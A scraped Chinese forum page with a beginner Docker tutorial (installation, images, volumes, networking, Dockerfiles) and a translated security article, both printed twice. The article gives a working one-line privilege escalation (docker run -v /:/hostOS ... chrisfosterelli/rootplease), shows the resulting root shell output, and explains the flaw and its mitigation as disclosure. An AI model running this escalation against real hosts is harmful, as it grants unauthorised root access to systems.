Docker是一种容器技术,它可以将应用和环境等进行打包,形成一个独立的,类似于iOS的APP形式的“应用”,这个应用可以直接被分发到任意一个支持Docker的环境中,通过简单的命令即可启动运行。Docker是一种最流行的容器化实现方案。和虚拟化技术类似,它极大的方便了应用服务的部署;又与虚拟化技术不同,它以一种更轻量的方式实现了应用服务的打包。使用Docker可以让每个应用彼此相互隔离,在同一台机器上同时运行多个应用,不过他们彼此之间共享同一个操作系统。Docker的优势在于,它可以在更细的粒度上进行资源的管理,也比虚拟化技术更加节约资源。





上图:虚拟化和Docker架构对比,来自Docker官网
 
基本概念
开始试验Docker之前,我们先来了解一下Docker的几个基本概念:

镜像:我们可以理解为一个预配置的系统光盘,这个光盘插入电脑后就可以启动一个操作系统。当然由于是光盘,所以你无法修改它或者保存数据,每次重启都是一个原样全新的系统。Docker里面镜像基本上和这个差不多。

容器:同样一个镜像,我们可以同时启动运行多个,运行期间的产生的这个实例就是容器。把容器内的操作和启动它的镜像进行合并,就可以产生一个新的镜像。
 
开始
Docker基于LXC技术实现,依赖于Linux内核,所以Docker目前只能在Linux以原生方式运行。目前主要的Linux发行版在他们的软件仓库中内置了Docker:

Ubuntu:
[]Ubuntu Trusty 14.04 (LTS)[/][]Ubuntu Precise 12.04 (LTS)[/][]Ubuntu Saucy 13.10[/]

CentOS:
[] CentOS 7[/]

Docker要求64位环境,这些操作系统下可以直接通过命令安装Docker,老一些操作系统Docker官方也提供了安装方案。下面的实验基于CentOS 7进行。关于其他版本操作系统上Docker的安装,请参考官方文档:https://docs.docker.com/installation/
 
在CentOS 7上安装Docker
使用yum从软件仓库安装Docker:yum install docker 首先启动Docker的守护进程:service docker start 如果想要Docker在系统启动时运行,执行:chkconfig docker on Docker在CentOS上好像和防火墙有冲突,应用防火墙规则后可能导致Docker无法联网,重启Docker可以解决。

Docker仓库
Docker使用类似git的方式管理镜像。通过基本的镜像可以定制创建出来不同种应用的Docker镜像。Docker Hub是Docker官方提供的镜像中心。在这里可以很方便地找到各类应用、环境的镜像。

由于Docker使用联合文件系统,所以镜像就像是夹心饼干一样一层层构成,相同底层的镜像可以共享。所以Docker还是相当节约磁盘空间的。要使用一 个镜像,需要先从远程的镜像注册中心拉取,这点非常类似git。docker pull ubuntu 我们很容易就能从Docker Hub镜像注册中心下载一个最新版本的ubuntu镜像到本地。国内网络可能会稍慢,DAOCLOUD提供了Docker Hub的国内加速服务,可以尝试配置使用。
 
运行一个容器
使用Docker最关键的一步就是从镜像创建容器。有两种方式可以创建一个容器:使用docker create命令创建容器,或者使用docker run命令运行一个新容器。两个命令并没有太大差别,只是前者创建后并不会立即启动容器。

以ubuntu为例,我们启动一个新容器,并将ubuntu的Shell作为入口:docker run -i -t ubuntu /bin/bash
这时候我们成功创建了一个Ubuntu的容器,并将当前终端连接为这个Ubuntu的bash shell。这时候就可以愉快地使用Ubuntu的相关命令了~可以快速体验一下。

参数-i表示这是一个交互容器,会把当前标准输入重定向到容器的标准输入中,而不是终止程序运行。-t指为这个容器分配一个终端。

好了,按Ctrl+D可以退出这个容器了。

在容器运行期间,我们可以通过docker ps命令看到所有当前正在运行的容器。添加-a参数可以看到所有创建的容器:docker ps -a [root@localhost ~]# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cb2b06c83a50 ubuntu:latest "sh -c /bin/bash" 7 minutes ago Exited (0) 7 seconds ago trusting_morse
每个容器都有一个唯一的ID标识,通过ID可以对这个容器进行管理和操作。在创建容器时,我们可以通过–name参数指定一个容器名称,如果没有指定系统将会分配一个,就像这里的“trusting_morse”(什么鬼TAT)。

当我们按Ctrl+D退出容器时,命令执行完了,所以容器也就退出了。要重新启动这个容器,可以使用docker start命令:docker start -i trusting_morse 同样,-i参数表示需要交互式支持。

注意:每次执行docker run命令都会创建新的容器,建议一次创建后,使用docker start/stop来启动和停用容器。
 
存储
在Docker容器运行期间,对文件系统的所有修改都会以增量的方式反映在容器使用的联合文件系统中,并不是真正的对只读层数据信息修改。每次运行容器对它的修改,都可以理解成对夹心饼干又添加了一层奶油。这层奶油仅供当前容器使用。当删除Docker容器,或通过该镜像重新启动时,之前的更改将会丢失。这样做并不便于我们持久化和共享数据。Docker的数据卷这个东西可以帮到我们。
在创建容器时,通过-v参数可以指定将容器内的某个目录作为数据卷加载:docker run -i -t -v /home/www ubuntu:latest sh -c '/bin/bash' 在容器中会多一个/home/www挂载点,在这个挂载点存储数据会绕过联合文件系统。我们可以通过下面的命令来找到这个数据卷在主机上真正的存储位置:docker inspect -f {{.Volumes}} trusting_morse 你会看到输出了一个指向到/var/lib/docker/vfs/dir/...的目录。cd进入后你会发现在容器中对/home/www的读写创建,都会反映到这儿。事实上,/home/www就是挂载自这个位置。

有时候,我们需要将本地的文件目录挂载到容器内的位置,同样是使用数据卷这一个特性,-v参数格式为:docker run -it -v [host_dir]:[container_dir]

host_dir是主机的目录,container_dir是容器的目录.

 
容器和容器之间是可以共享数据卷的,我们可以单独创建一些容器,存放如数据库持久化存储、配置文件一类的东西,然而这些容器并不需要运行。docker run --name dbdata ubuntu echo "Data container."在需要使用这个数据容器的容器创建时–volumes-from [容器名]的方式来使用这个数据共享容器。
 
网络

Docker容器内的系统工作起来就像是一个虚拟机,容器内开放的端口并不会真正开放在主机上。可以使我们的容器更加安全,而且不会产生容器间端口的争用。想要将Docker容器的端口开放到主机上,可以使用类似端口映射的方式。

在Docker容器创建时,通过指定-p参数可以暴露容器的端口在主机上:docker run -it -p 22 ubuntu sh -c '/bin/bash' 现在我们就将容器的22端口开放在了主机上,注意主机上对应端口是自动分配的。如果想要指定某个端口,可以通过-p [主机端口]:[容器端口]参数指定。

容器和容器之间想要网络通讯,可以直接使用–link参数将两个容器连接起来。例如WordPress容器对some-mysql的连接:docker run --name some-wordpress --link some-mysql:mysql -p 8080:80 -d wordpress 环境变量

通过Docker打包的应用,对外就像是一个密闭的exe可执行文件。有时候我们希望Docker能够使用一些外部的参数来使用容器,这时候参数可以通过环境变量传递进去,通常情况下用来传递比如MySQL数据库连接这种的东西。环境变量通过-e参数向容器传递:docker run --name some-wordpress -e WORDPRESS_DB_HOST=10.1.2.3:3306 \
-e WORDPRESS_DB_USER=... -e WORDPRESS_DB_PASSWORD=... -d wordpress
关于Docker到现在就有了一个基本的认识了。接下来我会给大家介绍如何创建镜像。
 
创建镜像
Docker强大的威力在于可以把自己开发的应用随同各种依赖环境一起打包、分发、运行。要创建一个新的Docker镜像,通常基于一个已有的Docker镜像来创建。Docker提供了两种方式来创建镜像:把容器创建为一个新的镜像、使用Dockerfile创建镜像。
 
将容器创建为镜像
为了创建一个新的镜像,我们先创建一个新的容器作为基底:docker run -it ubuntu:latest sh -c '/bin/bash' 现在我们可以对这个容器进行修改了,例如我们可以配置PHP环境、将我们的项目代码部署在里面等:apt-get install php
# some other opreations ...当执行完操作之后,我们按Ctrl+D退出容器,接下来使用docker ps -a来查找我们刚刚创建的容器ID:docker ps -a 可以看到我们最后操作的那个ubuntu容器。这时候只需要使用docker commit即可把这个容器变为一个镜像了:docker commit 8d93082a9ce1 ubuntu:myubuntu这时候docker容器会被创建为一个新的Ubuntu镜像,版本名称为myubuntu。以后我们可以随时使用这个镜像来创建容器了,新的容器将自动包含上面对容器的操作。
 
如果我们要在另外一台机器上使用这个镜像,可以将一个镜像导出:docker save -o myubuntu.tar.gz ubuntu:myubuntu 现在我们可以把刚才创建的镜像打包为一个文件分发和迁移了。要在一台机器上导入镜像,只需要:docker import myubuntu.tar.gz这样在新机器上就拥有了这个镜像。
 
注意:通过导入导出的方式分发镜像并不是Docker的最佳实践,因为我们有Docker Hub。
 
Docker Hub提供了类似GitHub的镜像存管服务。一个镜像发布到Docker Hub不仅可以供更多人使用,而且便于镜像的版本管理。关于Docker Hub的使用,之后我会单独写一篇文章展开介绍。另外,在一个企业内部可以通过自建docker-registry的方式来统一管理和发布镜像。将Docker Registry集成到版本管理和上线发布的工作流之中,还有许多工作要做,在我整理出最佳实践后会第一时间分享。
 
使用Dockerfile创建镜像

使用命令行的方式创建Docker镜像通常难以自动化操作。在更多的时候,我们使用Dockerfile来创建Docker镜像。Dockerfile是一个纯文本文件,它记载了从一个镜像创建另一个新镜像的步骤。撰写好Dockerfile文件之后,我们就可以轻而易举的使用docker build命令来创建镜像了.
 
Dockerfile非常简单,仅有以下命令在Dockerfile中常被使用:





下面是一个Dockerfile的例子:# This is a comment
FROM ubuntu:14.04
MAINTAINER Kate Smith <ksmith@example.com>
RUN apt-get update &amp;&amp; apt-get install -y ruby ruby-dev
RUN gem install sinatra 这里其他命令都比较好理解,唯独CMD和ENTRYPOINT我需要特殊说明一下。CMD命令可用指定Docker容器启动时默认的命令,例如我们上面例子提到的docker run -it ubuntu:latest sh -c '/bin/bash'。其中sh -c '/bin/bash'就是通过手工指定传入的CMD。如果我们不加这个参数,那么容器将会默认使用CMD指定的命令启动。ENTRYPOINT是什么呢?从字面看是进入点。没错,它就是进入点。ENTRYPOINT用来指定特定的可执行文件、Shell脚本,并把启动参数或CMD指定的默认值,当作附加参数传递给ENTRYPOINT。

不好理解是吧?我们举一个例子:ENTRYPOINT ['/usr/bin/mysql']
CMD ['-h 192.168.100.128', '-p'] 假设这个镜像内已经准备好了mysql-client,那么通过这个镜像,不加任何额外参数启动容器,将会给我们一个mysql的控制台,默认连接到192.168.100.128这个主机。然而我们也可以通过指定参数,来连接别的主机。但是不管无论如何,我们都无法启动一个除了mysql客户端以外的程序。因为这个容器的ENTRYPOINT就限定了我们只能在mysql这个客户端内做事情。这下是不是明白了~

因此,我们在使用Dockerfile创建文件的时候,可以创建一个entrypoint.sh脚本,作为系统入口。在这个文件里面,我们可以进行一些基础性的自举操作,比如检查环境变量,根据需要初始化数据库等等。下面两个文件是我在SimpleOA项目中添加的Dockerfile和entrypoint.sh,仅供参考:
[]https://github.com/starlight36/SimpleOA/blob/master/Dockerfile[/][]https://github.com/starlight36/SimpleOA/blob/master/docker-entrypoint.sh[/]
在准备好Dockerfile之后,我们就可以创建镜像了:docker build -t starlight36/simpleoa .关于Dockerfile的更详细说明,请参考 https://docs.docker.com/reference/builder/。
 
杂项和最佳实践

在产品构建的生命周期里使用Docker,最佳实践是把Docker集成到现有的构建发布流程里面。这个过程并不复杂,可以在持续集成系统构建测试完成后,将打包的步骤改为docker build,持续集成服务将会自动将构建相应的Docker镜像。打包完成后,可以由持续集成系统自动将镜像推送到Docker Registry中。生产服务器可以直接Pull最新版本的镜像,更新容器即可很快地实现更新上线。目前Atlassian Bamboo已经支持Docker的构建了。

由于Docker使用联合文件系统,所以并不用担心多次发布的版本会占用更多的磁盘资源,相同的镜像只存储一份。所以最佳实践是在不同层次上构建Docker镜像。比如应用服务器依赖于PHP+Nginx环境,那么可以把定制好的这个PHP环境作为一个镜像,应用服务器从这个镜像构建镜像。这样做的好处是,如果PHP环境要升级,更新了这个镜像后,重新构建应用镜像即可完成升级,而不需要每个应用项目分别升级PHP环境。

新手经常会有疑问的是关于Docker打包的粒度,比如MySQL要不要放在镜像中?最佳实践是根据应用的规模和可预见的扩展性来确定Docker打包的粒度。例如某小型项目管理系统使用LAMP环境,由于团队规模和使用人数并不会有太大的变化(可预计的团队规模范围是几人到几千人),数据库也不会承受无法承载的记录数(生命周期内可能一个表最多会有数十万条记录),并且客户最关心的是快速部署使用。那么这时候把MySQL作为依赖放在镜像里是一种不错的选择。当然如果你在为一个互联网产品打包,那最好就是把MySQL独立出来,因为MySQL很可能会单独做优化做集群等。

使用公有云构建发布运行Docker也是个不错的选择。DaoCloud提供了从构建到发布到运行的全生命周期服务。特别适合像微擎这种微信公众平台、或者中小型企业CRM系统。上线周期更短,比使用IAAS、PAAS的云服务更具有优势。
 
参考资料:
[]深入理解Docker Volume http://dockone.io/article/128[/][]WordPress https://registry.hub.docker.com/_/wordpress/[/][]Docker学习——镜像导出 http://www.sxt.cn/u/756/blog/5339[/][]Dockerfile Reference https://docs.docker.com/reference/builder/[/][]关于Dockerfile http://blog.tankywoo.com/docker/2014/05/08/docker-2-dockerfile.html[/]
原文链接 查看全部
Docker是什么

Docker是一种容器技术,它可以将应用和环境等进行打包,形成一个独立的,类似于iOS的APP形式的“应用”,这个应用可以直接被分发到任意一个支持Docker的环境中,通过简单的命令即可启动运行。Docker是一种最流行的容器化实现方案。和虚拟化技术类似,它极大的方便了应用服务的部署;又与虚拟化技术不同,它以一种更轻量的方式实现了应用服务的打包。使用Docker可以让每个应用彼此相互隔离,在同一台机器上同时运行多个应用,不过他们彼此之间共享同一个操作系统。Docker的优势在于,它可以在更细的粒度上进行资源的管理,也比虚拟化技术更加节约资源。

d1.png

上图:虚拟化和Docker架构对比,来自Docker官网
 
基本概念
开始试验Docker之前,我们先来了解一下Docker的几个基本概念:

镜像:我们可以理解为一个预配置的系统光盘,这个光盘插入电脑后就可以启动一个操作系统。当然由于是光盘,所以你无法修改它或者保存数据,每次重启都是一个原样全新的系统。Docker里面镜像基本上和这个差不多。

容器:同样一个镜像,我们可以同时启动运行多个,运行期间的产生的这个实例就是容器。把容器内的操作和启动它的镜像进行合并,就可以产生一个新的镜像。
 
开始
Docker基于LXC技术实现,依赖于Linux内核,所以Docker目前只能在Linux以原生方式运行。目前主要的Linux发行版在他们的软件仓库中内置了Docker:

Ubuntu:
    []Ubuntu Trusty 14.04 (LTS)[/][]Ubuntu Precise 12.04 (LTS)[/][]Ubuntu Saucy 13.10[/]


CentOS:
    [] CentOS 7[/]


Docker要求64位环境,这些操作系统下可以直接通过命令安装Docker,老一些操作系统Docker官方也提供了安装方案。下面的实验基于CentOS 7进行。关于其他版本操作系统上Docker的安装,请参考官方文档:https://docs.docker.com/installation/
 
在CentOS 7上安装Docker
使用yum从软件仓库安装Docker:
yum install docker 
首先启动Docker的守护进程:
service docker start 
如果想要Docker在系统启动时运行,执行:
chkconfig docker on 
Docker在CentOS上好像和防火墙有冲突,应用防火墙规则后可能导致Docker无法联网,重启Docker可以解决。

Docker仓库
Docker使用类似git的方式管理镜像。通过基本的镜像可以定制创建出来不同种应用的Docker镜像。Docker Hub是Docker官方提供的镜像中心。在这里可以很方便地找到各类应用、环境的镜像。

由于Docker使用联合文件系统,所以镜像就像是夹心饼干一样一层层构成,相同底层的镜像可以共享。所以Docker还是相当节约磁盘空间的。要使用一 个镜像,需要先从远程的镜像注册中心拉取,这点非常类似git。
docker pull ubuntu 
我们很容易就能从Docker Hub镜像注册中心下载一个最新版本的ubuntu镜像到本地。国内网络可能会稍慢,DAOCLOUD提供了Docker Hub的国内加速服务,可以尝试配置使用。
 
运行一个容器
使用Docker最关键的一步就是从镜像创建容器。有两种方式可以创建一个容器:使用docker create命令创建容器,或者使用docker run命令运行一个新容器。两个命令并没有太大差别,只是前者创建后并不会立即启动容器。

以ubuntu为例,我们启动一个新容器,并将ubuntu的Shell作为入口:
docker run -i -t ubuntu /bin/bash
这时候我们成功创建了一个Ubuntu的容器,并将当前终端连接为这个Ubuntu的bash shell。这时候就可以愉快地使用Ubuntu的相关命令了~可以快速体验一下。

参数-i表示这是一个交互容器,会把当前标准输入重定向到容器的标准输入中,而不是终止程序运行。-t指为这个容器分配一个终端。

好了,按Ctrl+D可以退出这个容器了。

在容器运行期间,我们可以通过docker ps命令看到所有当前正在运行的容器。添加-a参数可以看到所有创建的容器:
docker ps -a 
[root@localhost ~]# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cb2b06c83a50 ubuntu:latest "sh -c /bin/bash" 7 minutes ago Exited (0) 7 seconds ago trusting_morse
每个容器都有一个唯一的ID标识,通过ID可以对这个容器进行管理和操作。在创建容器时,我们可以通过–name参数指定一个容器名称,如果没有指定系统将会分配一个,就像这里的“trusting_morse”(什么鬼TAT)。

当我们按Ctrl+D退出容器时,命令执行完了,所以容器也就退出了。要重新启动这个容器,可以使用docker start命令:
docker start -i trusting_morse 
同样,-i参数表示需要交互式支持。

注意:每次执行docker run命令都会创建新的容器,建议一次创建后,使用docker start/stop来启动和停用容器。
 
存储
在Docker容器运行期间,对文件系统的所有修改都会以增量的方式反映在容器使用的联合文件系统中,并不是真正的对只读层数据信息修改。每次运行容器对它的修改,都可以理解成对夹心饼干又添加了一层奶油。这层奶油仅供当前容器使用。当删除Docker容器,或通过该镜像重新启动时,之前的更改将会丢失。这样做并不便于我们持久化和共享数据。Docker的数据卷这个东西可以帮到我们。
在创建容器时,通过-v参数可以指定将容器内的某个目录作为数据卷加载:
docker run -i -t -v /home/www ubuntu:latest sh -c '/bin/bash'  
在容器中会多一个/home/www挂载点,在这个挂载点存储数据会绕过联合文件系统。我们可以通过下面的命令来找到这个数据卷在主机上真正的存储位置:
docker inspect -f {{.Volumes}} trusting_morse  
你会看到输出了一个指向到/var/lib/docker/vfs/dir/...的目录。cd进入后你会发现在容器中对/home/www的读写创建,都会反映到这儿。事实上,/home/www就是挂载自这个位置。

有时候,我们需要将本地的文件目录挂载到容器内的位置,同样是使用数据卷这一个特性,-v参数格式为:
docker run -it -v [host_dir]:[container_dir] 


host_dir是主机的目录,container_dir是容器的目录.


 
容器和容器之间是可以共享数据卷的,我们可以单独创建一些容器,存放如数据库持久化存储、配置文件一类的东西,然而这些容器并不需要运行。
docker run --name dbdata ubuntu echo "Data container."
在需要使用这个数据容器的容器创建时–volumes-from [容器名]的方式来使用这个数据共享容器。
 
网络

Docker容器内的系统工作起来就像是一个虚拟机,容器内开放的端口并不会真正开放在主机上。可以使我们的容器更加安全,而且不会产生容器间端口的争用。想要将Docker容器的端口开放到主机上,可以使用类似端口映射的方式。

在Docker容器创建时,通过指定-p参数可以暴露容器的端口在主机上:
docker run -it -p 22 ubuntu sh -c '/bin/bash' 
现在我们就将容器的22端口开放在了主机上,注意主机上对应端口是自动分配的。如果想要指定某个端口,可以通过-p [主机端口]:[容器端口]参数指定。

容器和容器之间想要网络通讯,可以直接使用–link参数将两个容器连接起来。例如WordPress容器对some-mysql的连接:
docker run --name some-wordpress --link some-mysql:mysql -p 8080:80 -d wordpress  
环境变量

通过Docker打包的应用,对外就像是一个密闭的exe可执行文件。有时候我们希望Docker能够使用一些外部的参数来使用容器,这时候参数可以通过环境变量传递进去,通常情况下用来传递比如MySQL数据库连接这种的东西。环境变量通过-e参数向容器传递:
docker run --name some-wordpress -e WORDPRESS_DB_HOST=10.1.2.3:3306 \  
-e WORDPRESS_DB_USER=... -e WORDPRESS_DB_PASSWORD=... -d wordpress
关于Docker到现在就有了一个基本的认识了。接下来我会给大家介绍如何创建镜像。
 
创建镜像
Docker强大的威力在于可以把自己开发的应用随同各种依赖环境一起打包、分发、运行。要创建一个新的Docker镜像,通常基于一个已有的Docker镜像来创建。Docker提供了两种方式来创建镜像:把容器创建为一个新的镜像、使用Dockerfile创建镜像。
 
将容器创建为镜像
为了创建一个新的镜像,我们先创建一个新的容器作为基底:
docker run -it ubuntu:latest sh -c '/bin/bash' 
现在我们可以对这个容器进行修改了,例如我们可以配置PHP环境、将我们的项目代码部署在里面等:
apt-get install php  
# some other opreations ...
当执行完操作之后,我们按Ctrl+D退出容器,接下来使用docker ps -a来查找我们刚刚创建的容器ID:
docker ps -a 
可以看到我们最后操作的那个ubuntu容器。这时候只需要使用docker commit即可把这个容器变为一个镜像了:
docker commit 8d93082a9ce1 ubuntu:myubuntu
这时候docker容器会被创建为一个新的Ubuntu镜像,版本名称为myubuntu。以后我们可以随时使用这个镜像来创建容器了,新的容器将自动包含上面对容器的操作。
 
如果我们要在另外一台机器上使用这个镜像,可以将一个镜像导出:
docker save -o myubuntu.tar.gz ubuntu:myubuntu 
现在我们可以把刚才创建的镜像打包为一个文件分发和迁移了。要在一台机器上导入镜像,只需要:
docker import myubuntu.tar.gz
这样在新机器上就拥有了这个镜像。
 
注意:通过导入导出的方式分发镜像并不是Docker的最佳实践,因为我们有Docker Hub。
 
Docker Hub提供了类似GitHub的镜像存管服务。一个镜像发布到Docker Hub不仅可以供更多人使用,而且便于镜像的版本管理。关于Docker Hub的使用,之后我会单独写一篇文章展开介绍。另外,在一个企业内部可以通过自建docker-registry的方式来统一管理和发布镜像。将Docker Registry集成到版本管理和上线发布的工作流之中,还有许多工作要做,在我整理出最佳实践后会第一时间分享。
 
使用Dockerfile创建镜像

使用命令行的方式创建Docker镜像通常难以自动化操作。在更多的时候,我们使用Dockerfile来创建Docker镜像。Dockerfile是一个纯文本文件,它记载了从一个镜像创建另一个新镜像的步骤。撰写好Dockerfile文件之后,我们就可以轻而易举的使用docker build命令来创建镜像了.
 
Dockerfile非常简单,仅有以下命令在Dockerfile中常被使用:

d2.png

下面是一个Dockerfile的例子:
# This is a comment
FROM ubuntu:14.04
MAINTAINER Kate Smith <ksmith@example.com>
RUN apt-get update &amp;&amp; apt-get install -y ruby ruby-dev
RUN gem install sinatra
这里其他命令都比较好理解,唯独CMD和ENTRYPOINT我需要特殊说明一下。CMD命令可用指定Docker容器启动时默认的命令,例如我们上面例子提到的docker run -it ubuntu:latest sh -c '/bin/bash'。其中sh -c '/bin/bash'就是通过手工指定传入的CMD。如果我们不加这个参数,那么容器将会默认使用CMD指定的命令启动。ENTRYPOINT是什么呢?从字面看是进入点。没错,它就是进入点。ENTRYPOINT用来指定特定的可执行文件、Shell脚本,并把启动参数或CMD指定的默认值,当作附加参数传递给ENTRYPOINT。

不好理解是吧?我们举一个例子:
ENTRYPOINT ['/usr/bin/mysql']  
CMD ['-h 192.168.100.128', '-p']
假设这个镜像内已经准备好了mysql-client,那么通过这个镜像,不加任何额外参数启动容器,将会给我们一个mysql的控制台,默认连接到192.168.100.128这个主机。然而我们也可以通过指定参数,来连接别的主机。但是不管无论如何,我们都无法启动一个除了mysql客户端以外的程序。因为这个容器的ENTRYPOINT就限定了我们只能在mysql这个客户端内做事情。这下是不是明白了~

因此,我们在使用Dockerfile创建文件的时候,可以创建一个entrypoint.sh脚本,作为系统入口。在这个文件里面,我们可以进行一些基础性的自举操作,比如检查环境变量,根据需要初始化数据库等等。下面两个文件是我在SimpleOA项目中添加的Dockerfile和entrypoint.sh,仅供参考:
    []https://github.com/starlight36/SimpleOA/blob/master/Dockerfile[/][]https://github.com/starlight36/SimpleOA/blob/master/docker-entrypoint.sh[/]

在准备好Dockerfile之后,我们就可以创建镜像了:
docker build -t starlight36/simpleoa .
关于Dockerfile的更详细说明,请参考 https://docs.docker.com/reference/builder/。
 
杂项和最佳实践

在产品构建的生命周期里使用Docker,最佳实践是把Docker集成到现有的构建发布流程里面。这个过程并不复杂,可以在持续集成系统构建测试完成后,将打包的步骤改为docker build,持续集成服务将会自动将构建相应的Docker镜像。打包完成后,可以由持续集成系统自动将镜像推送到Docker Registry中。生产服务器可以直接Pull最新版本的镜像,更新容器即可很快地实现更新上线。目前Atlassian Bamboo已经支持Docker的构建了。

由于Docker使用联合文件系统,所以并不用担心多次发布的版本会占用更多的磁盘资源,相同的镜像只存储一份。所以最佳实践是在不同层次上构建Docker镜像。比如应用服务器依赖于PHP+Nginx环境,那么可以把定制好的这个PHP环境作为一个镜像,应用服务器从这个镜像构建镜像。这样做的好处是,如果PHP环境要升级,更新了这个镜像后,重新构建应用镜像即可完成升级,而不需要每个应用项目分别升级PHP环境。

新手经常会有疑问的是关于Docker打包的粒度,比如MySQL要不要放在镜像中?最佳实践是根据应用的规模和可预见的扩展性来确定Docker打包的粒度。例如某小型项目管理系统使用LAMP环境,由于团队规模和使用人数并不会有太大的变化(可预计的团队规模范围是几人到几千人),数据库也不会承受无法承载的记录数(生命周期内可能一个表最多会有数十万条记录),并且客户最关心的是快速部署使用。那么这时候把MySQL作为依赖放在镜像里是一种不错的选择。当然如果你在为一个互联网产品打包,那最好就是把MySQL独立出来,因为MySQL很可能会单独做优化做集群等。

使用公有云构建发布运行Docker也是个不错的选择。DaoCloud提供了从构建到发布到运行的全生命周期服务。特别适合像微擎这种微信公众平台、或者中小型企业CRM系统。上线周期更短,比使用IAAS、PAAS的云服务更具有优势。
 
参考资料:
    []深入理解Docker Volume http://dockone.io/article/128[/][]WordPress https://registry.hub.docker.com/_/wordpress/[/][]Docker学习——镜像导出 http://www.sxt.cn/u/756/blog/5339[/][]Dockerfile Reference https://docs.docker.com/reference/builder/[/][]关于Dockerfile http://blog.tankywoo.com/docker/2014/05/08/docker-2-dockerfile.html[/]

原文链接

Docker 安全:通过 Docker 提升权限

大数据/云计算Ansible 发表了文章 • 0 个评论 • 2269 次浏览 • 2015-06-22 14:37 • 来自相关话题

如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#

译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?


解释
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
翻译原文连接:http://mp.weixin.qq.com/s?__biz=MzA5OTAyNzQ2OA==&mid=206160672&idx=1&sn=ffe9dc83d0a486e044ff45e025465593&3rd=MzA3MDU4NTYzMw==&scene=6#rd 查看全部
如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#


译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?



解释
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
